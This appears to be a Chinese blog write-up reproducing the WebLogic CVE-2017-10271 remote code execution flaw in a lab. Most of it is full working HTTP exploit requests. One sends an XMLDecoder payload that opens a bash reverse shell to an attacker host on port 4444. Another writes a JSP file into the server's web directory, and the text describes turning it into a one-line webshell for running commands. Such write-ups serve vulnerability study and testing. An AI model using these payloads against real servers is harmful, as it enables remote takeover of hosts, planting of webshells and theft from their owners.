20200902-weblogic漏洞复现（CVE-2017-10271）

影响版本weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.1、weblogic 12.2.1.2。

本次的测试版本为10.3.6.0，服务器IP为192.168.230.144，kali攻击端IP为192.168.230.131

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击。

1、判断如果存在如下界面即可确定存在此漏洞

2、反弹shell

构建POC

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.15:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.1.31/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 在kali虚拟机中侦听4444端口，

使用burpsuite发送此POC

监听端口可以看到已经进入到服务器weblogic目录下，并且能看到权限是root

 

 

3、写入shell

构建POC

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.15:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("hello！！！"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

 红色部分可写成一句话木马，然后通过工具进行连接

 真机中访问http://192.168.230.144:7001/bea_wls_internal/test.jsp 

修改test.jsp为php一句话木马，名称为hua.php,密码为hua

 真机访问URL可以看到一句话木马内容

jsp一句话木马

网址栏中执行命令

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 参考链接：https://blog.csdn.net/qq_29647709/article/details/84928306